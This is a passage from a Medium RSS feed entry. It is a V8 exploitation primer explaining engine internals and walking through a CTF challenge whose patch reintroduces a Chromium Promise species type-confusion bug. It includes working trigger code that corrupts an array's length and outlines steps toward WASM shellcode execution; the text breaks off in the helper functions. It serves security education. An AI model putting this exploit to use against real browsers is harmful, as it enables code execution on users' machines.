<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by suleif on Medium]]></title>
        <description><![CDATA[Stories by suleif on Medium]]></description>
        <link>https://medium.com/@suleif?source=rss-f9474787f7da------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8slvfwLx_DBofDMw6gRYgg.jpeg</url>
            <title>Stories by suleif on Medium</title>
            <link>https://medium.com/@suleif?source=rss-f9474787f7da------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 10:31:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@suleif/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[V8 Exploitation Primer]]></title>
            <link>https://medium.com/@suleif/v8-exploitation-primer-5ee8ad23bfca?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ee8ad23bfca</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[v8-engine]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Fri, 16 Jan 2026 18:12:23 GMT</pubDate>
            <atom:updated>2026-01-22T14:21:35.660Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_8q2ZRd5ZZJpBA4d36uDQ.jpeg" /></figure><p>This is a V8 exploitation introduction, where I explain the basic internals of the chrome javascript engine and apply that knowledge to solve the Vow Breaker ctf challenge from NexHunt CTF 2025.</p><p>This article is targeted towards pwners looking to get into V8 exploitation, basic GDB and low-level knowledge is assumed.</p><p>Building V8 is not covered in this article, I recommend checking the <a href="https://v8.dev/docs/build">official docs</a> for doing so.</p><p>If there are any questions feel free to contact me on <a href="https://x.com/proteinpowder00">X </a>or discord (suleif), I would love to discuss about it.</p><h3>V8 Internals</h3><blockquote><em>V8 is Google’s open source high-performance JavaScript and WebAssembly engine, written in C++.</em></blockquote><p>In this section I will explore:</p><ol><li>The lifecycle of a javascript program</li><li>Pointer tagging &amp; compression</li><li>How V8 tracks the type of dynamic objects in the heap</li></ol><p>This section covers more than what is strictly necessary for the walkthrough because V8 bugs can be found in all of its subsystems, from its parser to its JIT compilers, therefore I believe a basic overarching introduction covering (most of) the engine is necessary.</p><h4>Lifecycle of a javascript program</h4><p>This is the javascript file I’ll be using as an example</p><pre>function add(x, y) {<br>        return x + y;<br>}<br>add(5, 3);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mdxZYKBKzv81m87mWNN1LA.png" /></figure><p>Everything starts from the code, it gets analyzed by the lexer and transformed into a series of tokens the parser can understand. The tokens are the smallest unit of code that have meaning in javascript, as an example:</p><p>var x = 1 when reduced by the lexer becomes var x = 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*saZWIyoJ-aqrf5oJ1prToA.png" /></figure><p>These tokens get fed into the parser which uses them to build an abstract syntax tree. An abstract syntax tree is a simpler representation of the code that the bytecode builder can understand and use.</p><p>The AST can be printed when running V8 with --print-ast</p><pre>--- AST ---<br>FUNC at 12<br>. KIND 0<br>. LITERAL ID 1<br>. SUSPEND COUNT 0<br>. NAME &quot;add&quot;<br>. INFERRED NAME &quot;&quot;<br>. PARAMS<br>. . VAR (0x3eec01660470) (mode = VAR, assigned = false) &quot;x&quot;<br>. . VAR (0x3eec016604f0) (mode = VAR, assigned = false) &quot;y&quot;<br>. DECLS<br>. . VARIABLE (0x3eec01660470) (mode = VAR, assigned = false) &quot;x&quot;<br>. . VARIABLE (0x3eec016604f0) (mode = VAR, assigned = false) &quot;y&quot;<br>. RETURN at 22<br>. . kAdd at 31<br>. . . VAR PROXY parameter[0] (0x3eec01660470) (mode = VAR, assigned = false) &quot;x&quot;<br>. . . VAR PROXY parameter[1] (0x3eec016604f0) (mode = VAR, assigned = false) &quot;y&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-QeEgqdvjjh3mYWrU4Fpg.png" /></figure><p>In most cases this is the last step of the V8 pipeline, the bytecode gets generated from the AST and sent to the interpreter to be executed.</p><p>The bytecode can also be displayed with --print-bytecode</p><pre>         0x2a1c010000e4 @    0 : 0b 04             Ldar a1<br>         0x2a1c010000e6 @    2 : 40 03 00          Add a0, FBV[0]<br>         0x2a1c010000e9 @    5 : b7                Return</pre><p>The interpreter (named Ignition) is a register-based virtual machine with an accumulator register, understanding the bytecode and the interpreter in detail is out of the scope of this article.</p><p>If the function gets “hot”, in other words, reaches a certain number of executions it enters the optimization pipeline.</p><p>V8 has 3 JIT compilers, each with its own objective:</p><ol><li>Sparkplug: A non-optimizing compiler that is designed to compile machine code very fast (Called when the function reaches ~10–100 calls)</li><li>Maglev: A mid-tier compiler that balances producing optimized machine code and fast compilation times (~100–1000 calls)</li><li>Turbofan: The flagship compiler that produces highly optimized machine code (~1000+ calls)</li></ol><p>As an exploiter, a JIT compiler is one of the most interesting attack surfaces due to its ability to compile and run machine code.</p><h4>How are objects stored in memory?</h4><p>Javascript is a dynamically typed language, this means the engine must store type information with every runtime value. It is done efficiently through something called a map (or a shape (or a hidden class)) and pointer tagging.</p><p>First, let’s examine V8’s type system. <a href="https://chromium.googlesource.com/v8/v8/+/4.4-lkgr/src/objects.h">The type inheritence tree</a> looks a bit like this:</p><pre>Object<br> - SMI (Small Integer)<br> - HeapObject<br> - - Map<br> - - JSReceiver<br> - - - JSObject<br> - - - - JSArray<br> - - - - JSPromise</pre><p>This isn’t exhaustive, but covers the key types for our discussion.</p><p>SMIs are 31 bit integers stored in-line in memory, HeapObjects represent javascript object that are stored in the JS heap.</p><p>V8 uses a custom pointer tagging scheme: the least significant bit represents whether a value is an SMI or a HeapObject pointer. And in the case of pointers the second least significant bit represents whether it is a strong pointer (indicates that the referenced object is and must remain in memory) or a weak pointer (the referenced object might have been deleted).</p><p>SMIs have their least significant bit always set to zero while HeapObject pointers always have theirs set to one. The reason V8 uses this scheme is for fast garbage collection.</p><pre>             |----- 32 bits -----|----- 32 bits -----|<br> Pointer:    |________base_______|______offset_____w1|<br> Smi:        |......garbage......|____int31_value___0|<br><br>where w is the bit encoding the &#39;weakness&#39; of the pointer.</pre><p>The pointers are split into two 32 bits slices due to <a href="https://v8.dev/blog/pointer-compression">v8’s pointer compression</a>.</p><p>The engine stores only the 32 bit pointer offsets in the JS heap, and keeps the 32 bit base in a register. This allows for more efficient memory usage in the heap, and also acts a security barrier with the help of Ubercage, V8’s sandbox.</p><h4>Type metadata in V8</h4><p>V8 is built with c++, a statically typed language. To keep track of the type of dynamic objects in javascript in runtime, V8 stores type metadata on the heap with the help of the <a href="https://v8.dev/docs/hidden-classes">Map object</a>.</p><p>A map is a data structure containing key information about the object, such as its:</p><ul><li>Type</li><li>Size in bytes</li><li>Properties (and where they are stored)</li><li>Type of its elements</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*OxiTutjAWX0zHnwDXafB9w.png" /><figcaption>A map in action</figcaption></figure><p>Why have such a complicated way of tracking metadata?</p><p>V8 assumes developers create a limited number of object types that are reused in predictable ways. Maps allow the engine to be very efficient when objects are similar.</p><pre>var obj1 = {&#39;foo&#39;: 2.2};<br>var obj2 = {&#39;foo&#39;: 4.1}; // obj2 now shares the same map as obj1<br><br>var obj3 = {&#39;foo&#39;: 5.3, &#39;bar&#39;: 1.1}; // obj3&#39;s map is derived from obj1&#39;s map<br>                                     // with an added bar property<br><br>obj2.bar = 5.5; // Now obj2 shares the same map as obj3, this is called a map<br>                // transition and it can go one way only, these transitions allow<br>                // the engine to be very efficient with map allocations</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ldrClhEpahrbLaWeNcKpNg.png" /><figcaption>Map0 is the map of an empty object, the transitions are one-way only</figcaption></figure><h4>JSObject</h4><p>This is arguably the most important part of this section.</p><p>I will examine what an object and an array look like in memory, and see the difference between them both.</p><p>I will be using the %DebugPrint(); function, so make sure to run v8 with the --allow-natives-syntax flag.</p><p>When debugging I also run V8 with the --shell flag to keep it running.</p><pre>var obj = {&#39;a&#39;: 3.5};<br><br>%DebugPrint(obj);</pre><pre>DebugPrint: 0x28bf01084055: [JS_OBJECT_TYPE]<br> - map: 0x28bf01018029 &lt;Map[16](HOLEY_ELEMENTS)&gt; [FastProperties]<br> - prototype: 0x28bf01003fa5 &lt;Object map = 0x28bf01003321&gt;<br> - elements: 0x28bf000007bd &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]<br> - properties: 0x28bf000007bd &lt;FixedArray[0]&gt;<br> - All own properties (excluding elements): {<br>    0x28bf000034cd: [String] in ReadOnlySpace: #a: 0x28bf01084085 &lt;HeapNumber 3.5&gt; (const data field 0, attrs: [WEC]) @ Any, location: in-object<br> }<br>0x28bf01018029: [Map] in OldSpace<br> - map: 0x28bf01002db9 &lt;MetaMap (0x28bf01002e09 &lt;NativeContext[302]&gt;)&gt;<br> - type: JS_OBJECT_TYPE<br> - instance size: 16<br> - inobject properties: 1<br> - unused property fields: 0<br> - elements kind: HOLEY_ELEMENTS<br> - enum length: invalid<br> - stable_map<br> - back pointer: 0x28bf01018001 &lt;Map[16](HOLEY_ELEMENTS)&gt;<br> - prototype_validity_cell: 0x28bf00000ac9 &lt;Cell value= [cleared]&gt;<br> - instance descriptors (own) #1: 0x28bf01084065 &lt;DescriptorArray[1]&gt;<br> - prototype: 0x28bf01003fa5 &lt;Object map = 0x28bf01003321&gt;<br> - constructor: 0x28bf01003839 &lt;JSFunction Object (sfi = 0x28bf000658b1)&gt;<br> - dependent code: 0x28bf000007cd &lt;Other heap object (WEAK_ARRAY_LIST_TYPE)&gt;<br> - construction counter: 0</pre><p>Let’s focus on the object for now instead of the map:</p><pre>DebugPrint: 0x28bf01084055: [JS_OBJECT_TYPE]<br> - map: 0x28bf01018029 &lt;Map[16](HOLEY_ELEMENTS)&gt; [FastProperties]<br> - prototype: 0x28bf01003fa5 &lt;Object map = 0x28bf01003321&gt;<br> - elements: 0x28bf000007bd &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]<br> - properties: 0x28bf000007bd &lt;FixedArray[0]&gt;<br> - All own properties (excluding elements): {<br>    0x28bf000034cd: [String] in ReadOnlySpace: #a: 0x28bf01084085 &lt;HeapNumber 3.5&gt; (const data field 0, attrs: [WEC]) @ Any, location: in-object<br> }</pre><p>A JSObject has 4 fields, all of which are pointers:</p><ol><li>A map.</li><li>The prototype of the object. It contains the properties that are not on the JSObject. It follows the concept of a ‘prototype chain’. If V8 does not find the property in the object itself it searches its prototype for it, the prototype also has a prototype field, this search keeps on going recursively until V8 either finds the property or reaches the end of the prototype chain and returns null.</li><li>The elements field. It contains a pointer to where the ‘indexed properties’ of the objects are located at. In this case (no indexed elements) the elements and the properties fields point to the same area.</li><li>The properties field. It contains a pointer to where the ‘named properties’ of the object are in memory.</li></ol><p>Indexed properties are properties accessible with an integer index, Named properties are accessible with a string key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*US7xDsg5ADhbaW1s.png" /><figcaption>Source: <a href="https://v8.dev/blog/fast-properties">https://v8.dev/blog/fast-properties</a></figcaption></figure><p>The named properties further branch out into different kinds of named properties: in-object, fast and slow.</p><p>In-object properties are stored directly on the object itself. They are the fastest kind of properties in v8 that are accessible directly. Their number is limited by the size of the object.</p><p>Fast properties are stored in a properties store (an array). They are accessed linearly with an index. To get the index of a named property in the property store, it is necessary to check the map of the object (Also called the hidden class).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EwaZR43conuv2WEC.png" /><figcaption>Source: <a href="https://v8.dev/blog/fast-properties">https://v8.dev/blog/fast-properties</a></figcaption></figure><p>Lastly slow properties are stored in a dictionary. This is done when a lot of properties gets added and deleted from the object. This causes a lot of memory and time overhead so the engine switches to storing the properties in a self-contained dictionnary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EgNytwsqAbmCIh3I.png" /><figcaption>Source: <a href="https://v8.dev/blog/fast-properties">https://v8.dev/blog/fast-properties</a></figcaption></figure><p>Indexed properties also branch out into many different sub-types (over 20+!) I will only cover the most important ones.</p><p>The first distinction the engine makes is whether the elements backing store is PACKED or HOLEY. If an indexed element is not defined or it is deleted, it is represented as a ‘hole’. ‘the_hole’ is a special value in V8 used to mark properties that are not present. If the engine encounters ‘the_hole’ it travels further up the prototype chain to look for the property.</p><pre>const o = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;];<br>delete o[1];<br>o.__proto__ = {1: &#39;B&#39;};</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*abwlTj23Rk78xBVx.png" /><figcaption>Source: <a href="https://v8.dev/blog/fast-properties">https://v8.dev/blog/fast-properties</a></figcaption></figure><p>If an array contains no holes it considered PACKED: the engine knows it can access all the properties locally with no costly prototype lookups.</p><p>The second distinction it makes is for the type of the elements: I’m only interested in these two: SMIs and DOUBLES</p><p>V8 starts out with the most specialized type of array moving to a more general form once the type of the elements change.</p><p>ELEMENTS is the given type of the array if it contains any value which cannot be represented as SMI or a DOUBLE or if it contains mixed types.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*AI52OC_amRGIQPGux2ZLuQ.png" /><figcaption>Source: <a href="https://v8.dev/blog/elements-kinds">https://v8.dev/blog/elements-kinds</a></figcaption></figure><p>It is possible to only go one way through the lattice.</p><p>Let’s see what arrays look like in javascript:</p><pre>var arr = [1.1, 2.2];<br><br>%DebugPrint(arr);</pre><pre>DebugPrint: 0x52201084069: [JSArray]<br> - map: 0x05220100b4c9 &lt;Map[16](PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]<br> - prototype: 0x05220100ae2d &lt;JSArray[0]&gt;<br> - elements: 0x052201084051 &lt;FixedDoubleArray[2]&gt; [PACKED_DOUBLE_ELEMENTS]<br> - length: 2<br> - properties: 0x0522000007bd &lt;FixedArray[0]&gt;<br> - All own properties (excluding elements): {<br>    0x52200000df1: [String] in ReadOnlySpace: #length: 0x052200036799 &lt;AccessorInfo name= 0x052200000df1 &lt;String[6]: #length&gt;, data= 0x052200000011 &lt;undefined&gt;&gt; (const accessor descriptor, attrs: [W__]), location: descriptor<br> }<br> - elements: 0x052201084051 &lt;FixedDoubleArray[2]&gt; {<br>           0: 1.1 (0x3ff199999999999a)<br>           1: 2.2 (0x400199999999999a)<br> }</pre><p>There are two differences:</p><ul><li>A new length field, which directly corresponds to the array’s size. If this value is changed the array is automatically resized accordingly.</li><li>Floats are stored in-line in memory ! Objects store them using HeapNumbers (Another HeapObject type). This leads to some very interesting results if you can somehow trick v8 into believing an object is an array as it will be showcased later on in the exploitation section.</li></ul><p>That’s it! An array is basically a JSObject with some additional properties and a special length field.</p><p>Additionally let’s see what all of this looks like in-memory, let’s start with an object and to differentiate between the elements pointer and the properties pointer let’s add an indexed property.</p><pre>var obj = {&#39;a&#39; : 1.1};<br>obj[0] = 2.2;<br>%DebugPrint(obj);</pre><pre>DebugPrint: 0x2d2c01084061: [JS_OBJECT_TYPE]<br> - map: 0x2d2c01018039 &lt;Map[16](HOLEY_ELEMENTS)&gt; [FastProperties]<br> - prototype: 0x2d2c01003fa5 &lt;Object map = 0x2d2c01003321&gt;<br> - elements: 0x2d2c0108409d &lt;FixedArray[17]&gt; [HOLEY_ELEMENTS]<br> - properties: 0x2d2c000007bd &lt;FixedArray[0]&gt;<br> - All own properties (excluding elements): {<br>    0x2d2c000034cd: [String] in ReadOnlySpace: #a: 0x2d2c01084091 &lt;HeapNumber 1.1&gt; (const data field 0, attrs: [WEC]) @ Any, location: in-object<br> }<br> - elements: 0x2d2c0108409d &lt;FixedArray[17]&gt; {<br>           0: 0x2d2c01017fa5 &lt;HeapNumber 2.2&gt;<br>        1-16: 0x2d2c00020001 &lt;the_hole_value&gt;<br> }</pre><p>Notice how the float I added is stored as a HeapNumber ? keep this in mind for later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*fikE4JaW34dojDgtTBCMsw.png" /><figcaption>Always subtract one from tagged pointers.</figcaption></figure><p>These are the values present in-memory in the order shown:</p><ol><li>The map pointer offset</li><li>The properties pointer offset</li><li>The elements pointer offset</li><li>Inline properties’ pointer offset (in this case its 1.1 for ‘a’)</li></ol><p>Looking at the inline properties, there is a seemingly bizarre 0x515 value before our float (1.1 == 0x3ff199999999999a). This is the map of the HeapNumber. In V8 maps are always stored in-line with the fields of the objects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*PEpOMR_M9zVplavsL160-A.png" /><figcaption>The elements in-memory representation</figcaption></figure><p>Same as before, 0x5dd is the map address offset of the DescriptorArray storing the elements in memory.</p><p>0x22 is the length of this array, it is stored as an SMI so bit shifting it by 1 is necessary: 0x22 &gt;&gt; 1 = 0x11 = 17</p><p>After these two fields are our elements: the pointer to our float HeapNumber and the rest are the_hole values.</p><p><strong>Observation</strong>: our elements are stored 8 bytes after the elements pointer address</p><p>As a recap this is what everything looks like in memory:</p><pre>Object: <br><br>4 bytes   | 4 bytes<br>-------------------<br>MAP       | PROPERTIES<br>ELEMENTS  | INLINE PROPERTIES<br>-------------------<br><br>Elements: (Elements stored as pointers)<br><br>4 bytes   | 4 bytes<br>-------------------<br>MAP       | BACKING ARRAY LENGTH<br>ELEMENT 1 | ELEMENT 2<br>....<br>....<br>-------------------</pre><p>Let’s do the same thing for an array this time:</p><pre>var arr = [1.1, 2.2];<br><br>%DebugPrint(arr);</pre><pre>DebugPrint: 0x33af01084069: [JSArray]<br> - map: 0x33af0100b4c9 &lt;Map[16](PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]<br> - prototype: 0x33af0100ae2d &lt;JSArray[0]&gt;<br> - elements: 0x33af01084051 &lt;FixedDoubleArray[2]&gt; [PACKED_DOUBLE_ELEMENTS]<br> - length: 2<br> - properties: 0x33af000007bd &lt;FixedArray[0]&gt;<br> - All own properties (excluding elements): {<br>    0x33af00000df1: [String] in ReadOnlySpace: #length: 0x33af00036799 &lt;AccessorInfo name= 0x33af00000df1 &lt;String[6]: #length&gt;, data= 0x33af00000011 &lt;undefined&gt;&gt; (const accessor descriptor, attrs: [W__]), location: descriptor<br> }<br> - elements: 0x33af01084051 &lt;FixedDoubleArray[2]&gt; {<br>           0: 1.1 (0x3ff199999999999a)<br>           1: 2.2 (0x400199999999999a)<br> }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*A1dbv1nFGd8cCdLVRHchNQ.png" /></figure><p>These are the values present in-memory in the order shown:</p><ol><li>The map</li><li>Properties</li><li>Elements</li><li>Length of the array, 0x4 &gt;&gt; 1 = 0x2 = 2 (It is stored as an SMI)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*mA-0Qid0H4YNtssviMLlaQ.png" /><figcaption>Elements</figcaption></figure><p>Same as before: the first value is the map of the backing array holding the elements in memory, the second value is the length of this array stored as an SMI.</p><p>What is interesting is that the elements this time are stored directly in-memory and not as HeapNumber pointers.</p><p>Another thing is that the elements are stored <strong>before</strong> the array in memory.</p><p>This can lead to serious repercussions if for example there was an Out-Of-Bound bug that leads to overwriting an element right after the end of the array.</p><p>In other words it would allow us to directly modify the fields of the JSArray! In fact, this is what is often used to gain further exploitation primitives from a ‘simple’ OOB bug.</p><p><strong>Observation</strong>: The elements are located 0x8 bytes before the JSArray and 0x8 bytes after the elements pointer.</p><p>As a recap this is what everything looks like in memory:</p><pre>JSArray: </pre><pre>4 bytes   | 4 bytes<br>-------------------<br>MAP       | PROPERTIES<br>ELEMENTS  | LENGTH<br>-------------------</pre><pre>Elements: (Elements stored as direct values) <br>(0x18 bytes before the JSArray)</pre><pre>4 bytes   | 4 bytes<br>-------------------<br>MAP       | BACKING ARRAY LENGTH<br>       ELEMENT 1<br>       ELEMENT 2<br>....<br>....<br>-------------------</pre><p>This is it for the internals section of this article, by now you have all the prerequisite knowledge needed to understand how V8 exploitation works (and more!).</p><p>In the next section I will give a detailed walkthrough of a V8 ctf challenge, focusing on explaining the various V8 exploitation primitives and the ways I can achieve code execution in the engine.</p><h3>Vow Breaker walkthrough</h3><p>Challenge files: <a href="https://drive.google.com/file/d/1z7ei9ZLxQl76AFqDdJAqMtnpp3pxK3_v/view?usp=sharing">link</a></p><p>Typically V8 challenges have patch files which introduce the vulnerability. This often introduces out of bounds vulnerabilities, which can later be escalated to more severe capabilities. I began by looking into the challenge.diff file:</p><pre>diff --git a/src/builtins/iterator.tq b/src/builtins/iterator.tq<br>index a9458219c1e..84afb16cd43 100644<br>--- a/src/builtins/iterator.tq<br>+++ b/src/builtins/iterator.tq<br>@@ -375,7 +375,8 @@ transitioning javascript builtin AsyncIteratorPrototypeAsyncDispose(<br>       // d. IfAbruptRejectPromise(resultWrapper, promiseCapability).<br>       const promiseFun = *NativeContextSlot(<br>           ContextSlot::PROMISE_FUNCTION_INDEX);<br>-      const resultWrapper = promise::PromiseResolve(promiseFun, result);<br>+      const constructor = SpeciesConstructor(capability, promiseFun);<br>+      const resultWrapper = promise::PromiseResolve(constructor, result);<br> <br>       // e. Let unwrap be a new Abstract Closure that performs the following<br>       // steps when called: i. Return undefined.<br>diff --git a/src/d8/d8.cc b/src/d8/d8.cc<br>index d91c78951b3..79b2432c768 100644<br>--- a/src/d8/d8.cc<br>+++ b/src/d8/d8.cc<br>@@ -4213,11 +4213,13 @@ Local&lt;FunctionTemplate&gt; Shell::CreateNodeTemplates(<br> <br> Local&lt;ObjectTemplate&gt; Shell::CreateGlobalTemplate(Isolate* isolate) {<br>   Local&lt;ObjectTemplate&gt; global_template = ObjectTemplate::New(isolate);<br>-  global_template-&gt;Set(Symbol::GetToStringTag(isolate),<br>+ /* global_template-&gt;Set(Symbol::GetToStringTag(isolate),<br>                        String::NewFromUtf8Literal(isolate, &quot;global&quot;));<br>+                      */<br>+<br>   global_template-&gt;Set(isolate, &quot;version&quot;,<br>                        FunctionTemplate::New(isolate, Version));<br>-<br>+/*<br>   global_template-&gt;Set(isolate, &quot;print&quot;, FunctionTemplate::New(isolate, Print));<br>   global_template-&gt;Set(isolate, &quot;printErr&quot;,<br>                        FunctionTemplate::New(isolate, PrintErr));<br>@@ -4237,9 +4239,11 @@ Local&lt;ObjectTemplate&gt; Shell::CreateGlobalTemplate(Isolate* isolate) {<br>                        FunctionTemplate::New(isolate, ExecuteFile));<br>   global_template-&gt;Set(isolate, &quot;setTimeout&quot;,<br>                        FunctionTemplate::New(isolate, SetTimeout));<br>+                      */<br>   // Some Emscripten-generated code tries to call &#39;quit&#39;, which in turn would<br>   // call C&#39;s exit(). This would lead to memory leaks, because there is no way<br>   // we can terminate cleanly then, so we need a way to hide &#39;quit&#39;.<br>+  /*<br>   if (!options.omit_quit) {<br>     global_template-&gt;Set(isolate, &quot;quit&quot;, FunctionTemplate::New(isolate, Quit));<br>   }<br>@@ -4259,6 +4263,7 @@ Local&lt;ObjectTemplate&gt; Shell::CreateGlobalTemplate(Isolate* isolate) {<br>                          Shell::CreateAsyncHookTemplate(isolate));<br>   }<br> <br>+                      */<br>   return global_template;<br> }</pre><p>There may seem like there is a lot to unpack here, but everything boils down to this line which got introduced to the code:</p><pre>const constructor = SpeciesConstructor(capability, promiseFun);</pre><h4>Root cause analysis :</h4><p>This bug is just a reintroduction of <a href="https://issues.chromium.org/issues/380677637">380677637</a> into the current version of v8 (I recommend reading that chromium issue before continuing), There’s a bit of prerequisite knowledge needed about this scenario that I’ll dive into.</p><p>The vulnerable function is <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncIterator/Symbol.asyncDispose">AsyncIteratorPrototypeAsyncDispose</a> which is basically a clean up function that is automatically called when an async scope is exited.</p><pre>async function main() {<br>    // 1. Create the generator. &#39;await using&#39; registers it for cleanup.<br>    await using myIterator = generator(); <br><br>    // 2. Use it a bit...<br>    await myIterator.next();<br><br>} // 3. &lt;--- End of block (Scope exit)<br><br>// 4. The engine AUTOMATICALLY finds myIterator[Symbol.asyncDispose] and calls it.<br>// 5. That internal function calls myIterator.return().<br>// 6. The generator closes.</pre><p>This is a snippet from that bug report I linked earlier:</p><pre>transitioning javascript builtin AsyncIteratorPrototypeAsyncDispose(<br>    js-implicit context: Context, receiver: JSAny)(): JSAny {<br>  // JSPromise object that is returned by this method<br>  const capability = promise::NewJSPromise();<br><br>  try {<br>    try {<br>      // Get the &quot;return&quot; method on the async iterator<br>      const returnMethod = GetMethod(receiver, kReturnString) otherwise IfUndefined;<br>      // Call the &quot;return&quot; method on the async iterator object, which returns a JSPromise object<br>      const result = Call(context, returnMethod, receiver, Undefined);<br><br>      // Get the Promise method in the native context<br>      const promiseFun = *NativeContextSlot(ContextSlot::PROMISE_FUNCTION_INDEX);<br><br>      // Get the constructor that creates a new Promise object<br>      // Since Promise[Symbol.species] is set to MyConstructor in the POC<br>      // Therefore, the constructor obtained here is MyConstructor<br>      const constructor = SpeciesConstructor(capability, promiseFun);<br><br>      // Call Promise.resolve(result) to create a JSPromise object that wraps the result of the return() method<br>      // Note: Here the constructor is our custom MyConstructor<br>      // So PromiseResolve() will create the object to be returned using MyConstructor as the constructor<br>      // Therefore, resultWrapper is actually the fake_promise object in the POC<br>      const resultWrapper = promise::PromiseResolve(constructor, result);<br><br>      // handler for the then method<br>      const resolveContext = ...;<br>      const onFulfilled = AllocateRootFunctionWithContext(<br>          kAsyncIteratorPrototypeAsyncDisposeResolveClosureSharedFun,<br>          resolveContext, %RawDownCast&lt;NativeContext&gt;(context));<br><br>      // Execute the .then method on resultWrapper<br>      promise::PerformPromiseThenImpl(<br>          // Here it tries to convert the JSObject type fake_promise to JSPromise, causing a crash<br>          UnsafeCast&lt;JSPromise&gt;(resultWrapper),  <br>          onFulfilled,    // onResolve<br>          UndefinedConstant(),   // onReject<br>          capability    // Promise object returned when the then() method is completed<br>        );<br>    } label IfUndefined {<br>      ...<br>    }<br><br>    // 7. Return promiseCapability.[[Promise]].<br>    return capability;<br>  } catch (e, _message) {<br>    ...<br>  }<br>}</pre><p>The critical line in this code block is:</p><pre>const constructor = SpeciesConstructor(capability, promiseFun);</pre><p>This is problematic because I can set the promise SpeciesConstructor to my own custom constructor:</p><pre>Object.defineProperty(Promise, Symbol.species, {<br>    &quot;value&quot;: MyConstructor<br>});</pre><p>To further understand how promises work under the hood, let’s examine the <a href="https://tc39.es/ecma262/#sec-promise-executor">ECMAScript spec for promise constructors</a>:</p><ul><li>A promise constructor must take an executor function as its argument</li><li>This executor function in turn takes two arguments:</li><li>- A resolve function that gets called when promise is resolved (the query was successful), it takes a single argument which is either the value of the deferred action or another promise.</li><li>- A reject function that gets called when the promise fails. It takes a single argument which is an Error object.</li><li>In addition these two functions are defined in the constructor itself usually.</li><li>The constructor must return the Promise object.</li></ul><p>And AsyncIteratorPrototypeAsyncDispose is not equipped to deal with possibly malicious constructors, so calling it with a custom one set will allow me to corrupt memory</p><pre>const resultWrapper = promise::PromiseResolve(constructor, result);</pre><p>I can then call the promise resolve method on my custom promise.</p><p>The resultWrapper should have been a JSPromise which wraps the result of our promise but in reality it is a JSArray due to my custom constructor.</p><pre>promise::PerformPromiseThenImpl(<br>          // Here it tries to convert the JSObject type fake_promise to JSPromise, causing a crash<br>          UnsafeCast&lt;JSPromise&gt;(resultWrapper),  <br>          onFulfilled,    // onResolve<br>          UndefinedConstant(),   // onReject<br>          capability    // Promise object returned when the then() method is completed<br>        );</pre><p>This line shows that the function casts my custom promise to a JSPromise without any checks, thus allowing a type confusion.</p><p>Without going into further details, just know that this type confusion allows me to get an array with an unreasonably high length</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*U08DBDE9x-T3aba1OAlG7g.png" /><figcaption>check out the length of the array!</figcaption></figure><p>Here is the code so far:</p><pre>async function* generator() {<br>    yield 1;<br>}<br><br>const gen = generator();  <br>let corrupted_arr = [1.1];<br><br>function MyConstructor(executor) {<br>    function myResolve(value) {<br>        ;<br>    }<br>    function myReject(err) {<br>        ;<br>    }<br>    executor(myResolve, myReject);<br><br>    return corrupted_arr; // EVIL!! &lt;- instead of returning a Promise,<br>                          //           I return an array<br>}<br><br>Object.defineProperty(Promise, Symbol.species, {<br>    &quot;value&quot;: MyConstructor<br>});<br><br>gen[Symbol.asyncDispose]();</pre><ul><li>I’d like to make a little side note here:<br>The heap spraying that 303f06e3 used in <a href="https://issues.chromium.org/issues/380677637">their vulnerability report</a> seems unnecessary to me, I tried removing it and using a singular array and the exploit worked as usual.</li></ul><h4>Exploitation :</h4><p>The plan for exploitation is :</p><ol><li>Make the addrof and fakeobj primitives</li><li>Make the caged v8 heap read and write primitives</li><li>Use all of the primitives I created to smuggle shellcode into a WASM RWX page</li><li>Trigger the WASM code</li></ol><p>Let us get started!</p><p>First I declared some necessary helper functions:</p><pre>// All credit goes to s41nt0l3xus for these helper functions<br><br>// conversation arrays<br>const conversion_buffer = new ArrayBuffer(8);<br>const float_view        = new Float64Array(conversion_buffer);<br>const int_view          = new BigUint64Array(conversion_buffer);<br><br>// Convert BigInt to hex representation<br>BigInt.prototype.hex = function () {<br>    return 